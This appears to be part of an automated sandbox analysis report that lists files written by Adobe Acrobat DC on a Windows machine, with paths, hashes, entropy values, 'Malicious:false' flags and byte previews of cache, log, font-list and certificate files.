                                Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380602591707512","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130035},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d584b010-4338-4c3b-8053-62532ca9a404.tmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:JSON data
                                Category:modified
                                Size (bytes):475
                                Entropy (8bit):4.974792857895216
                                Encrypted:false
                                SSDEEP:12:YH/um3RA8sqVUsBdOg2HiAAcaq3QYiubInP7E4T3y:Y2sRdsCZdMHig3QYhbG7nby
                                MD5:601616D957664F5298321D5B7FE6C879
                                SHA1:3CFF38B78933986C82035AD3F1B1D2B35AD4BA3C
                                SHA-256:4C71D026449273DAFE2BBBCBA1353388804920BE935164DD7C58125A043B17EF
                                SHA-512:0275E74DDDC55D135311B56B7460A731DC065965FCE822CBFC67AA2A2B317FDA804F3F89C042EEE9CFC4A25BA0536AC3617CC399229E4A8AD6EB313C11340D3D
                                Malicious:false
                                Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380602591707512","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130035},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):4320
                                Entropy (8bit):5.249936424754642
                                Encrypted:false
                                SSDEEP:96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7p7e:etJCV4FiN/jTN/2r8Mta02fEhgO73go8
                                MD5:146D0944423FBD7A584F8179A0D71BE7
                                SHA1:D2140AB2EF91A3DD5F235928F091B4D2429D70F5
                                SHA-256:458A0332EE7138CA88C55EA4AC29A2FF53BFE1BB20B8FC207015717D37486CCB
                                SHA-512:765160DC21D06C504C5E6CDD912006F18A8F79264B4C4F7670E776C6F22AEDF58B13EFC180A7B7E5DA38A46D96ACBD9A6F15A50F6F46AB9A273520AC5DC439D7
                                Malicious:false
                                Preview:*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):324
                                Entropy (8bit):5.089335068973409
                                Encrypted:false
                                SSDEEP:6:iOCIq2Pwkn2nKuAl9OmbzNMxIFUttZmwVkwOwkn2nKuAl9OmbzNMFLJ:7CIvYfHAa8jFUtt/V5JfHAa84J
                                MD5:2464CC97A96084516BB2A4BD6C0C13D7
                                SHA1:DF90832810CFA71BA9991B4652F1FF2543824EAA
                                SHA-256:6B1818A43F090CD482B2FDE217DB01E0CB9CEE90D6A4262E6A01F842DDC4395C
                                SHA-512:23490E7BEFF2C52B062215D13251A8AD43E27B3999C8A9B8BF4169E4F6B561C02C18E907DF156A4C70F39CB4C59AA5676FFE3D4BBC0F94BA8719041075275775
                                Malicious:false
                                Preview:2025/01/04-21:03:00.231 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/04-21:03:00.232 1eb4 Recovering log #3.2025/01/04-21:03:00.232 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):324
                                Entropy (8bit):5.089335068973409
                                Encrypted:false
                                SSDEEP:6:iOCIq2Pwkn2nKuAl9OmbzNMxIFUttZmwVkwOwkn2nKuAl9OmbzNMFLJ:7CIvYfHAa8jFUtt/V5JfHAa84J
                                MD5:2464CC97A96084516BB2A4BD6C0C13D7
                                SHA1:DF90832810CFA71BA9991B4652F1FF2543824EAA
                                SHA-256:6B1818A43F090CD482B2FDE217DB01E0CB9CEE90D6A4262E6A01F842DDC4395C
                                SHA-512:23490E7BEFF2C52B062215D13251A8AD43E27B3999C8A9B8BF4169E4F6B561C02C18E907DF156A4C70F39CB4C59AA5676FFE3D4BBC0F94BA8719041075275775
                                Malicious:false
                                Preview:2025/01/04-21:03:00.231 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/04-21:03:00.232 1eb4 Recovering log #3.2025/01/04-21:03:00.232 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250105020305Z-185.bmp

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PC bitmap, Windows 3.x format, 110 x -152 x 32, cbSize 66934, bits offset 54
                                Category:dropped
                                Size (bytes):66934
                                Entropy (8bit):1.7544134515160215
                                Encrypted:false
                                SSDEEP:192:8iRvM0C0BLs5q/z4molmRy8OazjL+ZdTkdAw888888H+88838Sak888888H+888x:8iRLfG2gazjL+3TkdApSsWkvXQV
                                MD5:A61E2E877B9BEBF90983EE1455F6C731
                                SHA1:C0C641D144A7D5BA73C505EBE6EA34D92EF2335F
                                SHA-256:FB3D9E842D9E3703AEE31D85DB37A454460C35575955661DF1961DAE53089D44
                                SHA-512:B3B9B8924D74208FD40AE031886AA4C87158CCE498B5FCC0925C87E7D42543A9B7E0560229319A024424B3D73D5723E631113D310DE09CF0D28E68966044B1C1
                                Malicious:false
                                Preview:BMv.......6...(...n...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
                                Category:dropped
                                Size (bytes):86016
                                Entropy (8bit):4.444841601838946
                                Encrypted:false
                                SSDEEP:384:Semci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:aCs3OazzU89UTTgUL
                                MD5:0A9374E40DEA6EE564ECC0A9C168BDE8
                                SHA1:6E0856774799EBF24C9626EF54C592B487FECC1B
                                SHA-256:5C114F89A44C7848CCA44ACF34C03E59A7A8C5064C6B4255E4949BA159F79D7C
                                SHA-512:1E93500F204555ACD9D28A04EC1F994288F5D780B00CADAAA8AE847BA0C2BE3D374D7376B9B88B912D409F75F6A6F75B415987F29392ED325102FCF12AD01752
                                Malicious:false
                                Preview:SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:SQLite Rollback Journal
                                Category:dropped
                                Size (bytes):8720
                                Entropy (8bit):2.2134361948692827
                                Encrypted:false
                                SSDEEP:24:7+tu2nuwK3qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MD:7MPnC3qvmFTIF3XmHjBoGGR+jMz+Lhq
                                MD5:A73987E8F871EAE30157F362CE074040
                                SHA1:ABE0F4C33323245C26432E90143A36E2B24ED2DB
                                SHA-256:A2AA30F74DEC73013A9E3F58E23EB4E25866C837AE9A4B9AA15BEE5A19F6DB08
                                SHA-512:925512D4F497A83A2416904632C02AFA4D5A0C4D9F65F74415DC8E8E3B926483FD703AF0DA405FE25F25E0A281A4FC55BAFE376D6EAA2023E757E87146592E0F
                                Malicious:false
                                Preview:.... .c......a.`........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:Certificate, Version=3
                                Category:dropped
                                Size (bytes):1391
                                Entropy (8bit):7.705940075877404
                                Encrypted:false
                                SSDEEP:24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
                                MD5:0CD2F9E0DA1773E9ED864DA5E370E74E
                                SHA1:CABD2A79A1076A31F21D253635CB039D4329A5E8
                                SHA-256:96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
                                SHA-512:3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
                                Malicious:false
                                Preview:0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                Category:dropped
                                Size (bytes):71954
                                Entropy (8bit):7.996617769952133
                                Encrypted:true
                                SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                Malicious:false
                                Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):192
                                Entropy (8bit):2.7130774337030337
                                Encrypted:false
                                SSDEEP:3:kkFklG6sTwVEl1fllXlE/HT8klYh1NNX8RolJuRdxLlGB9lQRYwpDdt:kKfK9T8sYRNMa8RdWBwRd
                                MD5:CD3DB072A002B6FEB3AB82B56FE5B1C8
                                SHA1:0476EEB345FF208A4C35EA21DC316099E555BD46
                                SHA-256:DDCB461F55346DF87EF4A159CDAE35E55593FFC5FEB9772265B3B006A1FD08BD
                                SHA-512:509410251CC31FDDB0244FA431DD3F355D2E323F65D13ECB4C5653E4918DDBE49F09A41C844BB069AE4FE26387759D2EB9E1562338859BC1E67F1C35DA513C45
                                Malicious:false
                                Preview:p...... ........._..._..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:data
                                Category:modified
                                Size (bytes):328
                                Entropy (8bit):3.253995428229511
                                Encrypted:false
                                SSDEEP:6:kKDR9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:rADImsLNkPlE99SNxAhUe/3
                                MD5:9A9A0CA9F56CA5E1F42463AFFCBE7CE4
                                SHA1:1DADF47F3E9752D9F0E42E385CD48CC08AD484B3
                                SHA-256:765FF34EA6FF4251E4D46007E629974A4A83474479D8B458735DD977728101DB
                                SHA-512:28B5D04448395815202D17187808FEDBF5CF425A0970C45992C871CEC6A0A4884F7EE368D5A2AD29F520B2D681A7B2468BCAB2922B90D228515934B82B8BB722
                                Malicious:false
                                Preview:p...... ........j...._..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PostScript document text
                                Category:dropped
                                Size (bytes):1233
                                Entropy (8bit):5.233980037532449
                                Encrypted:false
                                SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                Malicious:false
                                Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7488

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PostScript document text
                                Category:dropped
                                Size (bytes):1233
                                Entropy (8bit):5.233980037532449
                                Encrypted:false
                                SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                Malicious:false
                                Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PostScript document text
                                Category:dropped
                                Size (bytes):1233
                                Entropy (8bit):5.233980037532449
                                Encrypted:false
                                SSDEEP:24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
                                MD5:8BA9D8BEBA42C23A5DB405994B54903F
                                SHA1:FC1B1646EC8A7015F492AA17ADF9712B54858361
                                SHA-256:862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
                                SHA-512:26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
                                Malicious:false
                                Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PostScript document text
                                Category:dropped
                                Size (bytes):10880
                                Entropy (8bit):5.214360287289079
                                Encrypted:false
                                SSDEEP:192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
                                MD5:B60EE534029885BD6DECA42D1263BDC0
                                SHA1:4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
                                SHA-256:B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
                                SHA-512:52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
                                Malicious:false
                                Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7488

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:PostScript document text
                                Category:dropped
                                Size (bytes):10880
                                Entropy (8bit):5.214360287289079
                                Encrypted:false
                                SSDEEP:192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
                                MD5:B60EE534029885BD6DECA42D1263BDC0
                                SHA1:4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
                                SHA-256:B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
                                SHA-512:52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
                                Malicious:false
                                Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):295
                                Entropy (8bit):5.366101902260488
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJM3g98kUwPeUkwRe9:YvXKX+B6BcN1EZc0vXVGMbLUkee9
                                MD5:7D866DCEEAB89EBB1499945815FB6D68
                                SHA1:FB644F2573E920A842510AD46498A618409FFCC1
                                SHA-256:EC8C696C5A2D1EC50CAC0A16040EE13A4380A19C012D66296B0BE9D037BE739E
                                SHA-512:09DD2B66BEABCCB55B540F9DF7120C33450158BBE0926DF6A94C1A8BFAF554FA6C21D7F3499676058F774BD24FA8BB349192EBD55F6B16A3F50830F25CFC7116
                                Malicious:false
                                Preview:{"analyticsData":{"responseGUID":"4f632df1-5003-4e6a-9841-54a4d9a300fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736216753302,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):294
                                Entropy (8bit):5.315974502472593
                                Encrypted:false
                                SSDEEP:6:YEQXJ2HXDiB6BcNHV9VoZcg1vRcR0Y0DeoAvJfBoTfXpnrPeUkwRe9:YvXKX+B6BcN1EZc0vXVGWTfXcUkee9
                                MD5:8DD2D0C612566AF92907C0A237FBE87F
                                SHA1:96CF780D42C141E15F926A00D548D2FD56933FBD
